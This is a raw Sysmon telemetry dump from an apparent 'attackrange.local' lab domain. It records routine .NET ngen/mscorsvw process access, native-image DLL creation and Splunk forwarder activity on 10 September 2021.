14:45:02.155{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DB09-00000000F001}5900C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.124{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DB09-00000000F001}5900C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.124{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DB09-00000000F001}5900C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.055{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6E-613B-DA09-00000000F001}5468C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.005{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D1F5BCE3E7DD9FE103BBD4DE9AD8273,SHA256=9841F79E58208B04B9CB93ACC03C2C370DD7C2E8A005835A9605CCD585DB4203,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000044811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.370{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59264-false10.0.1.12-8000- 10341000x800000000000000044810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.005{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6E-613B-DA09-00000000F001}5468C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:02.005{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6E-613B-DA09-00000000F001}5468C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013977Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:02.197{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=33978F2E6C0900F969D5E04F6800F01B,SHA256=6184A1981A3C412B165C097AEF26A41BE405FFA51BAD6355209DA39F929B4B71,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000044869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:03.968{7BD73061-6F6F-613B-EA09-00000000F001}6296C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1898-0\Microsoft.Office.Tools.Common.Implementation.dll2021-09-10 14:45:03.968 23542300x800000000000000044868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.918{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9345B74ADE34974994C5E0452F294816,SHA256=43F1333D3118CD67601A9EE1A947AFABC166EF15A186AF3C131D3CE2089ED3F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013980Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:03.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=240359DDD46D3814D591A78EA38E5FA0,SHA256=EB2B952E7A6E830C2334065FE4251873D05F0CE8A5D0E47E14513269997EC673,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.477{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6F-613B-EA09-00000000F001}6296C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.467{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6F-613B-EA09-00000000F001}6296C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.467{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6F-613B-EA09-00000000F001}6296C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.417{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6F-613B-E909-00000000F001}6892C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.397{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6F-613B-E909-00000000F001}6892C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.397{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6F-613B-E909-00000000F001}6892C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:03.367{7BD73061-6F6F-613B-E809-00000000F001}6288C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1890-0\Microsoft.Office.Tools.Common.dll2021-09-10 14:45:03.367 10341000x800000000000000044860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.137{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6F-613B-E809-00000000F001}6288C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.127{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6F-613B-E809-00000000F001}6288C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.127{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6F-613B-E809-00000000F001}6288C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.094{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6F-613B-E709-00000000F001}4268C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.076{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B9E294AD21240794D979A64C0DC9329,SHA256=AB86B582D58BA9B5C5970843415D8AC6E614C9B8A13F1CBCB8D96185A2F4AFD8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.076{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6F-613B-E709-00000000F001}4268C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.076{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6F-613B-E709-00000000F001}4268C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.076{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=21FA601CC7C18CA2AB8575A0015468FA,SHA256=B694D1A9ED937F32C98A34EF4CFF1C2B8AAFEC921C5E729956B48E098FEB7985,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000044852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:03.056{7BD73061-6F6F-613B-E609-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\d98-0\Microsoft.Office.Tools.dll2021-09-10 14:45:03.056 10341000x800000000000000044851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.027{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F6F-613B-E609-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.006{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6F-613B-E609-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:03.006{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6F-613B-E609-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 